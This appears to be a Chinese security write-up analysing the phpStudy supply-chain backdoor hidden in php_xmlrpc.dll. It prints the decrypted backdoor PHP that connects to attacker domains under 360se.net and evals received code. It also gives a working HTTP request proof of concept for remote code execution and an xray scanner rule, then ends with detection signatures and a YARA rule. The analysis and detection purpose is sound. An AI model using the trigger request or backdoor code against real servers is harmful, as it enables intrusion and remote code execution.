PHP环境集成程序包phpStudy被公告疑似遭遇供应链攻击，程序包自带PHP的php_xmlrpc.dll模块隐藏有后门。经过分析除了有反向连接木马之外，还可以正向执行任意php代码。

影响版本

• Phpstudy 2016

php\php-5.2.17\ext\php_xmlrpc.dll
php\php-5.4.45\ext\php_xmlrpc.dll

• Phpstudy 2018 的php-5.2.17、php-5.4.45

PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll
PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll

分析过程

• 1、定位特征字符串位置
• 2、静态分析传参数据
• 3、动态调试构造传参内容

php_xmlrpc.dll

PHPstudy 2018与2016两个版本的里的PHP5.2与PHP5.4版本里的恶意php_xmlrpc.dll一致。

定位特征字符串位置

根据@eval()这个代码执行函数定位到引用位置。@是PHP提供的错误信息屏蔽专用符号。Eval()可执行php代码，中间%s格式符为字符串传参。函数地址为：0x100031F0

图1：eval特征代码

静态分析传参数据

通过F5查看代码，分析代码流程，判断条件是有全局变量且有HTTP_ACCEPT_ENCODING的时候进入内部语句。接下来有两个主要判断来做正向连接和反向连接的操作。主要有两个部分。

第一部分，正向连接：判断ACCEPT_ENCODING如果等于gzip,deflate，读取ACCEPT_CHARSE的内容做base64解密，交给zend_eval_strings()函数可以执行任意恶意代码。

构造HTTP头，把Accept-Encoding改成Accept-Encoding: gzip,deflate可以触发第一个部分。

GET /index.php HTTP/1.1
Host: 192.168.221.128
…..
Accept-Encoding: gzip,deflate
Accept-Charset:cHJpbnRmKG1kNSgzMzMpKTs=
….

第二部分，反向连接：判断ACCEPT_ENCODING如果等于compress,gzip，通过关键部分@eval(gzuncompress('%s'));可以看到拼接了一段恶意代码，然后调用gzuncompress方法执行解密。

构造HTTP头，把Accept-Encoding改成Accept-Encoding: compress,gzip可以触发第二部分。

GET /index.php HTTP/1.1
Host: 192.168.221.128
…..
Accept-Encoding:compress,gzip
….

图2：第1部分流程判断代码

图3：第2部分流程判断代码

这一部分有两处会执行zend_eval_strings函数代码的位置。分别是从1000D66C到1000E5C4的代码解密：

@ini_set("display_errors","0");
error_reporting(0);
function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){$result = "";$handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10); if( !$handle ){$handle = fsockopen($ip, intval($port), $errno, $errstr, 5);if( !$handle ){return "err";}}fwrite($handle, $sendMsg."\n");while(!feof($handle)){stream_set_timeout($handle, 2);$result .= fread($handle, 1024);$info = stream_get_meta_data($handle);if ($info['timed_out']) {break;}}fclose($handle); return $result;
}$ds = array("www","bbs","cms","down","up","file","ftp");
$ps = array("20123","40125","8080","80","53");
$n = false;
do {$n = false;foreach ($ds as $d){$b = false;foreach ($ps as $p){$result = tcpGet($i,$d.".360se.net",$p); if ($result != "err"){$b =true;break;}}if ($b)break;}$info = explode("<^>",$result);if (count($info)==4){if (strpos($info[3],"/*Onemore*/") !== false){$info[3] = str_replace("/*Onemore*/","",$info[3]);$n=true;}@eval(base64_decode($info[3]));}
}while($n);

从1000D028 到1000D66C的代码解密：

@ini_set("display_errors","0");
error_reporting(0);
$h = $_SERVER['HTTP_HOST'];
$p = $_SERVER['SERVER_PORT'];
$fp = fsockopen($h, $p, $errno, $errstr, 5);
if (!$fp) {
} else {$out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";$out .= "Host: {$h}\r\n";$out .= "Accept-Encoding: compress,gzip\r\n";$out .= "Connection: Close\r\n\r\n";fwrite($fp, $out);fclose($fp);
}

动态调试构造传参内容

OD动态调试传参值需要对httpd.exe进程进行附加调试，phpstudy启用的httpd进程有两个。一个是带有参数的，一个是没有带参数的。在下断的时候选择没有参数的httpd.exe下断才能触发后门。

根据前面IDA静态分析得到的后门函数地址，OD附加进程后从httpd.exe调用的模块里找到php_xmlrpc.dll模块，在DLL空间里定位后门函数地址0x100031F0，可能还需要手动修改偏移后下断点。使用burpsuite，构造Accept-Encoding的内容。发包后可以动态调试。建立触发点的虚拟机快照后可以反复跟踪调试得到最终可利用的payload。

图4：OD动态调试Payload

PHP脚本后门分析

脚本一功能：使用fsockopen模拟GET发包

@ini_set("display_errors","0");
error_reporting(0);
$h = $_SERVER['HTTP_HOST'];
$p = $_SERVER['SERVER_PORT'];
$fp = fsockopen($h, $p, $errno, $errstr, 5);
if (!$fp) {
} else {$out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";$out .= "Host: {$h}\r\n";$out .= "Accept-Encoding: compress,gzip\r\n";$out .= "Connection: Close\r\n\r\n";fwrite($fp, $out);fclose($fp);
}

脚本二功能：
内置有域名表和端口表，批量遍历然后发送数据。注释如下：

<?php
@ini_set("display_errors","0");
error_reporting(0);
function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){$result = "";$handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);  // 接收数据，每次过来一条数据就要连接一次if( !$handle ){$handle = fsockopen($ip, intval($port), $errno, $errstr, 5);  //错误的时候就重连一次测试。if( !$handle ){return "err";}}fwrite($handle, $sendMsg."\n");         // 模拟发送数据while(!feof($handle)){stream_set_timeout($handle, 2);$result .= fread($handle, 1024);   // 读取文件$info = stream_get_meta_data($handle);     // 超时则退出if ($info['timed_out']) {break;}}fclose($handle);return $result;
}$ds = array("www","bbs","cms","down","up","file","ftp");   // 域名表
$ps = array("20123","40125","8080","80","53");             // 端口表
$n = false;
do {$n = false;foreach ($ds as $d){                                   //遍历域名表$b = false;foreach ($ps as $p){                               // 遍历端口表$result = tcpGet($i,$d.".360se.net",$p);if ($result != "err"){$b =true;break;}}if ($b)break;}$info = explode("<^>",$result);if (count($info)==4){if (strpos($info[3],"/*Onemore*/") !== false){$info[3] = str_replace("/*Onemore*/","",$info[3]);$n=true;}@eval(base64_decode($info[3]));}
}while($n);?>

POC

熟悉原理后可根据执行流程构造执行任意代码的Payload：

GET /index.php HTTP/1.1
Host: 192.168.221.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding:gzip,deflate
Accept-Charset:cHJpbnRmKG1kNSgzMzMpKTs=
Content-Length: 0
Accept-Language: zh-CN,zh;q=0.9
Connection: close

Payload：printf(md5(333));
回显特征：310dcbbf4cce62f762a2aaa148d556bd

图5：Payload回显验证

漏洞验证插件

漏洞插件采用长亭科技xray社区漏洞扫描器。虽然现今网络上好多放出来的批量poc，我还是觉得使用长亭的插件写poc，省了好多心力去考虑写各种代码，把主要精力专注到漏洞分析和写poc上。

name: poc-yaml-phpstudy-backdoor-rce
rules:- method: GETpath: /index.phpheaders:Accept-Encoding: 'gzip,deflate'Accept-Charset: cHJpbnRmKG1kNSg0NTczMTM0NCkpOw==follow_redirects: falseexpression: |body.bcontains(b'a5952fb670b54572bcec7440a554633e')
detail:author: 17bdwAffected Version: "phpstudy 2016-phpstudy 2018 php 5.2 php 5.4"vuln_url: "php_xmlrpc.dll"links:- https://www.freebuf.com/column/214946.html

网络特征

Accept-Encoding:gzip,deflate    少一个空格
Accept-Charset:为Base64编码

文件特征

特征一、
%s;@eval(%s('%s'));   25 73 3B 40 65 76 61 6C 28 25 73 28 27 25 73 27
29 29 3B
特征二、
@eval(%s('%s'));     40 65 76 61 6C 28 25 73 28 27 25 73 27 29 29 3Brule PhpStudybackdoor
{
meta:
filetype=" PhpStudybackdoor "
description=" PhpStudybackdoor check"
strings:
$a1 = "@eval(%s('%s'));"
$a2 =”%s;@eval(%s('%s'));”
condition:
any of ($a*)
}

受影响站点

http://soft.onlinedown.net/soft/92421.htm
http://www.opdown.com/soft/16803.html#download
https://www.cr173.com/soft/433065.html
http://www.smzy.com/smzy/down319529.html
https://www.jb51.net/softs/601577.html
http://www.mycodes.net/16/5051.htm
http://www.3322.cc/soft/40663.html
http://www.3h3.com/soft/131645.html
http://www.downyi.com/downinfo/117446.html
http://www.pc9.com/pc/info-4030.html
https://www.newasp.net/soft/75029.html
http://www.downxia.com/downinfo/153379.html
https://www.33lc.com/soft/21053.html
http://www.xfdown.com/soft/11170.html#xzdz
http://www.wei2008.com/news/news/201817035.html
http://www.188soft.com/soft/890860.html
http://soft.onlinedown.net/soft/92421.htm
http://www.opdown.com/soft/16803.html#download
https://www.cr173.com/soft/433065.html

参考

• PhpStudyGhost后门供应链攻击事件及相关IOC
  https://www.freebuf.com/column/214946.html
• 2019关于phpstudy软件后门简单分析
  https://mp.weixin.qq.com/s/dIDfgFxHlqenKRUSW7Oqkw
• phpstudy后门文件分析以及检测脚本
  https://mp.weixin.qq.com/s/dIDfgFxHlqenKRUSW7Oqkw
• Phpstudy官网于2016年被入侵，犯罪分子篡改软件并植入后门
  https://mp.weixin.qq.com/s/CqHrDFcubyn_y5NTfYvkQw
• phpStudy隐藏后门预警
  https://www.cnblogs.com/0daybug/p/11571119.html